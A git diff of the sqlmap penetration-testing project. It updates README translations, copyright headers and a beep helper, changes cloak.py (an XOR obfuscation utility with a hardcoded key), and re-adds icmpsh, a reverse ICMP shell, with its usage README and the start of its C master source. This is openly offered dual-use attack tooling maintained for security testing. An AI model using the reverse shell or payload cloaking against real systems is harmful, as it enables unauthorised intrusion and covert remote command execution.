[@sqlmap](https://twitter.com/sqlmap) -* Демки: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Демки: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоты: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-sk-SK.md b/doc/translations/README-sk-SK.md new file mode 100644 index 00000000000..d673b3e3aa8 --- /dev/null +++ b/doc/translations/README-sk-SK.md @@ -0,0 +1,50 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap je open source nástroj na penetračné testovanie, ktorý automatizuje proces detekovania a využívania chýb SQL injekcie a preberania databázových serverov. Je vybavený výkonným detekčným mechanizmom, mnohými výklenkovými funkciami pre dokonalého penetračného testera a širokou škálou prepínačov vrátane odtlačkov databázy, cez načítanie údajov z databázy, prístup k základnému súborovému systému a vykonávanie príkazov v operačnom systéme prostredníctvom mimopásmových pripojení. + +Snímky obrazovky +---- + +![snímka obrazovky](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Môžete navštíviť [zbierku snímok obrazovky](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), ktorá demonštruuje niektoré funkcie na wiki. + +Inštalácia +---- + +Najnovší tarball si môžete stiahnuť kliknutím [sem](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo najnovší zipball kliknutím [sem](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Najlepšie je stiahnuť sqlmap naklonovaním [Git](https://github.com/sqlmapproject/sqlmap) repozitára: + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funguje bez problémov s programovacím jazykom [Python](https://www.python.org/download/) vo verziách **2.7** a **3.x** na akejkoľvek platforme. + +Využitie +---- + +Na získanie zoznamu základných možností a prepínačov, použite: + + python sqlmap.py -h + +Na získanie zoznamu všetkých možností a prepínačov, použite: + + python sqlmap.py -hh + +Vzorku behu nájdete [tu](https://asciinema.org/a/46601). +Ak chcete získať prehľad o možnostiach sqlmap, zoznam podporovaných funkcií a opis všetkých možností a prepínačov spolu s príkladmi, odporúčame vám nahliadnuť do [Používateľskej príručky](https://github.com/sqlmapproject/sqlmap/wiki/Usage). + +Linky +---- + +* Domovská stránka: https://sqlmap.org +* Stiahnutia: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) alebo [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Zdroje RSS Commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Sledovač problémov: https://github.com/sqlmapproject/sqlmap/issues +* Používateľská príručka: https://github.com/sqlmapproject/sqlmap/wiki +* Často kladené otázky (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demá: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Snímky obrazovky: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots \ No newline at end of file diff --git a/doc/translations/README-tr-TR.md b/doc/translations/README-tr-TR.md index d1f6238c04e..46e5267e9e0 100644 --- a/doc/translations/README-tr-TR.md +++ b/doc/translations/README-tr-TR.md @@ -1,8 +1,8 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek bir çok aracı, -uzak veritabınınından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi - işlevleri de barındırmaktadır. +sqlmap sql injection açıklarını otomatik olarak tespit ve istismar etmeye yarayan açık kaynak bir penetrasyon aracıdır. sqlmap gelişmiş tespit özelliğinin yanı sıra penetrasyon testleri sırasında gerekli olabilecek birçok aracı, uzak veritabanından, veri indirmek, dosya sistemine erişmek, dosya çalıştırmak gibi işlevleri de barındırmaktadır. Ekran görüntüleri @@ -11,19 +11,19 @@ Ekran görüntüleri ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -İsterseniz özelliklerin tanıtımının yapıldığı [collection of screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. +İsterseniz özelliklerin tanıtımının yapıldığı [ekran görüntüleri](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) sayfasını ziyaret edebilirsiniz. Kurulum ---- -[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipbal'ı indirebilirsiniz. +[Buraya](https://github.com/sqlmapproject/sqlmap/tarball/master) tıklayarak en son sürüm tarball'ı veya [buraya](https://github.com/sqlmapproject/sqlmap/zipball/master) tıklayarak zipball'ı indirebilirsiniz. Veya tercihen, [Git](https://github.com/sqlmapproject/sqlmap) reposunu klonlayarak indirebilirsiniz git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap [Python](http://www.python.org/download/) sitesinde bulunan **2.6.x** and **2.7.x** versiyonları ile bütün platformlarda çalışabilmektedir. +sqlmap [Python](https://www.python.org/download/) sitesinde bulunan **2.7** ve **3.x** versiyonları ile bütün platformlarda çalışabilmektedir. Kullanım ---- @@ -37,17 +37,17 @@ Bütün seçenekleri gösterir python sqlmap.py -hh -Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası içinsqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz +Program ile ilgili örnekleri [burada](https://asciinema.org/a/46601) bulabilirsiniz. Daha fazlası için sqlmap'in bütün açıklamaları ile birlikte bütün özelliklerinin, örnekleri ile bulunduğu [manuel sayfamıza](https://github.com/sqlmapproject/sqlmap/wiki/Usage) bakmanızı tavsiye ediyoruz -Links +Bağlantılar ---- -* Anasayfa: http://sqlmap.org -* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Anasayfa: https://sqlmap.org +* İndirme bağlantıları: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) veya [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commitlerin RSS beslemeleri: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Hata takip etme sistemi: https://github.com/sqlmapproject/sqlmap/issues * Kullanıcı Manueli: https://github.com/sqlmapproject/sqlmap/wiki * Sıkça Sorulan Sorular(SSS): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Demolar: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Demolar: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Ekran görüntüleri: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-uk-UA.md b/doc/translations/README-uk-UA.md index ddbedef9fe7..ab7814676b1 100644 --- a/doc/translations/README-uk-UA.md +++ b/doc/translations/README-uk-UA.md @@ -1,6 +1,6 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![PyPI version](https://badge.fury.io/py/sqlmap.svg)](https://badge.fury.io/py/sqlmap) [![GitHub closed issues](https://img.shields.io/github/issues-closed-raw/sqlmapproject/sqlmap.svg?colorB=ff69b4)](https://github.com/sqlmapproject/sqlmap/issues?q=is%3Aissue+is%3Aclosed) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) sqlmap - це інструмент для тестування вразливостей з відкритим сирцевим кодом, який автоматизує процес виявлення і використання дефектів SQL-ін'єкцій, а також захоплення серверів баз даних. Він оснащений потужним механізмом виявлення, безліччю приємних функцій для професійного тестувальника вразливостей і широким спектром скриптів, які спрощують роботу з базами даних - від відбитка бази даних до доступу до базової файлової системи та виконання команд в операційній системі через out-of-band з'єднання. @@ -20,7 +20,7 @@ sqlmap - це інструмент для тестування вразливо git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap «працює з коробки» з [Python](http://www.python.org/download/) версії **2.6.x** та **2.7.x** на будь-якій платформі. +sqlmap «працює з коробки» з [Python](https://www.python.org/download/) версії **2.7** та **3.x** на будь-якій платформі. Використання ---- @@ -39,12 +39,12 @@ sqlmap «працює з коробки» з [Python](http://www.python.org/down Посилання ---- -* Основний сайт: http://sqlmap.org +* Основний сайт: https://sqlmap.org * Завантаження: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) або [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Канал новин RSS: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Відстеження проблем: https://github.com/sqlmapproject/sqlmap/issues * Інструкція користувача: https://github.com/sqlmapproject/sqlmap/wiki * Поширенні питання (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Скриншоти: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-vi-VN.md b/doc/translations/README-vi-VN.md new file mode 100644 index 00000000000..ceb2724552d --- /dev/null +++ b/doc/translations/README-vi-VN.md @@ -0,0 +1,52 @@ +# sqlmap ![](https://i.imgur.com/fe85aVR.png) + +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) + +sqlmap là một công cụ kiểm tra thâm nhập mã nguồn mở, nhằm tự động hóa quá trình phát hiện, khai thác lỗ hổng SQL injection và tiếp quản các máy chủ cơ sở dữ liệu. Công cụ này đi kèm với +một hệ thống phát hiện mạnh mẽ, nhiều tính năng thích hợp cho người kiểm tra thâm nhập (pentester) và một loạt các tùy chọn bao gồm phát hiện, truy xuất dữ liệu từ cơ sở dữ liệu, truy cập file hệ thống và thực hiện các lệnh trên hệ điều hành từ xa. + +Ảnh chụp màn hình +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Bạn có thể truy cập vào [bộ sưu tập ảnh chụp màn hình](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) - nơi trình bày một số tính năng có thể tìm thấy trong wiki. + +Cài đặt +---- + + +Bạn có thể tải xuống tập tin nén tar mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc tập tin nén zip mới nhất bằng cách nhấp vào [đây](https://github.com/sqlmapproject/sqlmap/zipball/master). + +Tốt hơn là bạn nên tải xuống sqlmap bằng cách clone về repo [Git](https://github.com/sqlmapproject/sqlmap): + + git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap hoạt động hiệu quả với [Python](https://www.python.org/download/) phiên bản **2.7** và **3.x** trên bất kì hệ điều hành nào. + +Sử dụng +---- + +Để có được danh sách các tùy chọn cơ bản và switch, hãy chạy: + + python sqlmap.py -h + +Để có được danh sách tất cả các tùy chọn và switch, hãy chạy: + + python sqlmap.py -hh + +Bạn có thể xem video demo [tại đây](https://asciinema.org/a/46601). +Để có cái nhìn tổng quan về sqlmap, danh sách các tính năng được hỗ trợ và mô tả về tất cả các tùy chọn, cùng với các ví dụ, bạn nên tham khảo [hướng dẫn sử dụng](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (Tiếng Anh). + +Liên kết +---- + +* Trang chủ: https://sqlmap.org +* Tải xuống: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) hoặc [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Nguồn cấp dữ liệu RSS về commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Theo dõi issue: https://github.com/sqlmapproject/sqlmap/issues +* Hướng dẫn sử dụng: https://github.com/sqlmapproject/sqlmap/wiki +* Các câu hỏi thường gặp (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* X: [@sqlmap](https://x.com/sqlmap) +* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) +* Ảnh chụp màn hình: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/doc/translations/README-zh-CN.md b/doc/translations/README-zh-CN.md index 5eee311860e..b065c10a0fa 100644 --- a/doc/translations/README-zh-CN.md +++ b/doc/translations/README-zh-CN.md @@ -1,26 +1,26 @@ -# sqlmap +# sqlmap ![](https://i.imgur.com/fe85aVR.png) -[![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) +[![.github/workflows/tests.yml](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml/badge.svg)](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [![Python 2.7|3.x](https://img.shields.io/badge/python-2.7|3.x-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![x](https://img.shields.io/badge/x-@sqlmap-blue.svg)](https://x.com/sqlmap) -sqlmap 是一个开源的渗透测试工具,可以用来自动化的检测,利用SQL注入漏洞,获取数据库服务器的权限。它具有功能强大的检测引擎,针对各种不同类型数据库的渗透测试的功能选项,包括获取数据库中存储的数据,访问操作系统文件甚至可以通过外带数据连接的方式执行操作系统命令。 +sqlmap 是一款开源的渗透测试工具,可以自动化进行SQL注入的检测、利用,并能接管数据库服务器。它具有功能强大的检测引擎,为渗透测试人员提供了许多专业的功能并且可以进行组合,其中包括数据库指纹识别、数据读取和访问底层文件系统,甚至可以通过带外数据连接的方式执行系统命令。 演示截图 ---- ![截图](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -你可以访问 wiki上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 查看各种用法的演示 +你可以查看 wiki 上的 [截图](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) 了解各种用法的示例 安装方法 ---- -你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包的源代码 或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包的源代码. +你可以点击 [这里](https://github.com/sqlmapproject/sqlmap/tarball/master) 下载最新的 `tar` 打包好的源代码,或者点击 [这里](https://github.com/sqlmapproject/sqlmap/zipball/master)下载最新的 `zip` 打包好的源代码. -推荐你从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: +推荐直接从 [Git](https://github.com/sqlmapproject/sqlmap) 仓库获取最新的源代码: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 **2.7.x** 版本的任何平台上 +sqlmap 可以运行在 [Python](https://www.python.org/download/) **2.7** 和 **3.x** 版本的任何平台上 使用方法 ---- @@ -33,17 +33,17 @@ sqlmap 可以运行在 [Python](http://www.python.org/download/) **2.6.x** 和 python sqlmap.py -hh -你可以从 [这里](https://asciinema.org/a/46601) 看到一个sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取sqlmap所有支持的特性、参数、命令行选项开关及说明的使用帮助。 +你可以从 [这里](https://asciinema.org/a/46601) 看到一个 sqlmap 的使用样例。除此以外,你还可以查看 [使用手册](https://github.com/sqlmapproject/sqlmap/wiki/Usage)。获取 sqlmap 所有支持的特性、参数、命令行选项开关及详细的使用帮助。 链接 ---- -* 项目主页: http://sqlmap.org +* 项目主页: https://sqlmap.org * 源代码下载: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) -* RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom -* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Commit的 RSS 订阅: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* 问题跟踪器: https://github.com/sqlmapproject/sqlmap/issues * 使用手册: https://github.com/sqlmapproject/sqlmap/wiki * 常见问题 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ -* Twitter: [@sqlmap](https://twitter.com/sqlmap) -* 教程: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) +* X: [@sqlmap](https://x.com/sqlmap) +* 教程: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * 截图: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots diff --git a/extra/__init__.py b/extra/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/extra/__init__.py +++ b/extra/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/__init__.py b/extra/beep/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/extra/beep/__init__.py +++ b/extra/beep/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/beep/beep.py b/extra/beep/beep.py index 2379222dcb8..9e1acd04b0d 100644 --- a/extra/beep/beep.py +++ b/extra/beep/beep.py @@ -3,12 +3,11 @@ """ beep.py - Make a beep sound -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ import os -import subprocess import sys import wave @@ -16,11 +15,13 @@ def beep(): try: - if subprocess.mswindows: + if sys.platform.startswith("win"): _win_wav_play(BEEP_WAV_FILENAME) - elif sys.platform == "darwin": - _mac_beep() - elif sys.platform == "linux2": + elif sys.platform.startswith("darwin"): + _mac_wav_play(BEEP_WAV_FILENAME) + elif sys.platform.startswith("cygwin"): + _cygwin_beep(BEEP_WAV_FILENAME) + elif any(sys.platform.startswith(_) for _ in ("linux", "freebsd")): _linux_wav_play(BEEP_WAV_FILENAME) else: _speaker_beep() @@ -35,9 +36,12 @@ def _speaker_beep(): except IOError: pass -def _mac_beep(): - import Carbon.Snd - Carbon.Snd.SysBeep(1) +# Reference: https://lists.gnu.org/archive/html/emacs-devel/2014-09/msg00815.html +def _cygwin_beep(filename): + os.system("play-sound-file '%s' 2>/dev/null" % filename) + +def _mac_wav_play(filename): + os.system("afplay '%s' 2>/dev/null" % BEEP_WAV_FILENAME) def _win_wav_play(filename): import winsound @@ -45,7 +49,7 @@ def _win_wav_play(filename): winsound.PlaySound(filename, winsound.SND_FILENAME) def _linux_wav_play(filename): - for _ in ("aplay", "paplay", "play"): + for _ in ("paplay", "aplay", "mpv", "mplayer", "play"): if not os.system("%s '%s' 2>/dev/null" % (_, filename)): return @@ -58,7 +62,10 @@ def _linux_wav_play(filename): class struct_pa_sample_spec(ctypes.Structure): _fields_ = [("format", ctypes.c_int), ("rate", ctypes.c_uint32), ("channels", ctypes.c_uint8)] - pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + try: + pa = ctypes.cdll.LoadLibrary("libpulse-simple.so.0") + except OSError: + return wave_file = wave.open(filename, "rb") diff --git a/extra/cloak/__init__.py b/extra/cloak/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/extra/cloak/__init__.py +++ b/extra/cloak/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/cloak/cloak.py b/extra/cloak/cloak.py index c4810cbe39d..641d1c51635 100644 --- a/extra/cloak/cloak.py +++ b/extra/cloak/cloak.py @@ -3,43 +3,44 @@ """ cloak.py - Simple file encryption/compression utility -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ from __future__ import print_function import os +import struct import sys import zlib from optparse import OptionError from optparse import OptionParser -def hideAscii(data): - retVal = "" - for i in xrange(len(data)): - if ord(data[i]) < 128: - retVal += chr(ord(data[i]) ^ 127) - else: - retVal += data[i] +if sys.version_info >= (3, 0): + xrange = range + ord = lambda _: _ + +KEY = b"wr36EPIvaR7ZDfb4" - return retVal +def xor(message, key): + return b"".join(struct.pack('B', ord(message[i]) ^ ord(key[i % len(key)])) for i in range(len(message))) def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() - return hideAscii(zlib.compress(data)) + return xor(zlib.compress(data), KEY) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: - data = zlib.decompress(hideAscii(data)) - except: + data = zlib.decompress(xor(data, KEY)) + except Exception as ex: + print(ex) print('ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile) sys.exit(1) finally: @@ -49,7 +50,7 @@ def decloak(inputFile=None, data=None): def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] - parser = OptionParser(usage=usage, version='0.1') + parser = OptionParser(usage=usage, version='0.2') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') diff --git a/extra/dbgtool/__init__.py b/extra/dbgtool/__init__.py index c654cbef7f4..bcac841631b 100644 --- a/extra/dbgtool/__init__.py +++ b/extra/dbgtool/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/extra/dbgtool/dbgtool.py b/extra/dbgtool/dbgtool.py index 63ba43aac7c..7cdb11b70c1 100644 --- a/extra/dbgtool/dbgtool.py +++ b/extra/dbgtool/dbgtool.py @@ -3,7 +3,7 @@ """ dbgtool.py - Portable executable to ASCII debug script converter -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -11,7 +11,6 @@ import os import sys -import struct from optparse import OptionError from optparse import OptionParser @@ -34,7 +33,7 @@ def convert(inputFile): fileContent = fp.read() for fileChar in fileContent: - unsignedFileChar = struct.unpack("B", fileChar)[0] + unsignedFileChar = fileChar if sys.version_info >= (3, 0) else ord(fileChar) if unsignedFileChar != 0: counter2 += 1 diff --git a/extra/icmpsh/README.txt b/extra/icmpsh/README.txt index 631f9ee377f..d09e83b8552 100644 --- a/extra/icmpsh/README.txt +++ b/extra/icmpsh/README.txt @@ -1,45 +1,45 @@ -icmpsh - simple reverse ICMP shell - -icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. - - ---- Running the Master --- - -The master is straight forward to use. There are no extra libraries required for the C version. -The Perl master however has the following dependencies: - - * IO::Socket - * NetPacket::IP - * NetPacket::ICMP - - -When running the master, don't forget to disable ICMP replies by the OS. For example: - - sysctl -w net.ipv4.icmp_echo_ignore_all=1 - -If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive -commands send from the master. - - ---- Running the Slave --- - -The slave comes with a few command line options as outlined below: - - --t host host ip address to send ping requests to. This option is mandatory! - --r send a single test icmp request containing the string "Test1234" and then quit. - This is for testing the connection. - --d milliseconds delay between requests in milliseconds - --o milliseconds timeout of responses in milliseconds. If a response has not received in time, - the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. - The counter is set back to 0 if a response was received. - --b num limit of blanks (unanswered icmp requests before quitting - --s bytes maximal data buffer size in bytes - - -In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. +icmpsh - simple reverse ICMP shell + +icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. + + +--- Running the Master --- + +The master is straight forward to use. There are no extra libraries required for the C version. +The Perl master however has the following dependencies: + + * IO::Socket + * NetPacket::IP + * NetPacket::ICMP + + +When running the master, don't forget to disable ICMP replies by the OS. For example: + + sysctl -w net.ipv4.icmp_echo_ignore_all=1 + +If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive +commands send from the master. + + +--- Running the Slave --- + +The slave comes with a few command line options as outlined below: + + +-t host host ip address to send ping requests to. This option is mandatory! + +-r send a single test icmp request containing the string "Test1234" and then quit. + This is for testing the connection. + +-d milliseconds delay between requests in milliseconds + +-o milliseconds timeout of responses in milliseconds. If a response has not received in time, + the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. + The counter is set back to 0 if a response was received. + +-b num limit of blanks (unanswered icmp requests before quitting + +-s bytes maximal data buffer size in bytes + + +In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. diff --git a/extra/icmpsh/icmpsh-m.c b/extra/icmpsh/icmpsh-m.c index 32c3edb7429..95deb603bc0 100644 --- a/extra/icmpsh/icmpsh-m.c +++ b/extra/icmpsh/icmpsh-m.c @@ -1,134 +1,134 @@ -/* - * icmpsh - simple icmp command shell - * Copyright (c) 2010, Nico Leidecker - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#define IN_BUF_SIZE 1024 -#define OUT_BUF_SIZE 64 - -// calculate checksum -unsigned short checksum(unsigned short *ptr, int nbytes) -{ - unsigned long sum; - unsigned short oddbyte, rs; - - sum = 0; - while(nbytes > 1) { - sum += *ptr++; - nbytes -= 2; - } - - if(nbytes == 1) { - oddbyte = 0; - *((unsigned char *) &oddbyte) = *(u_char *)ptr; - sum += oddbyte; 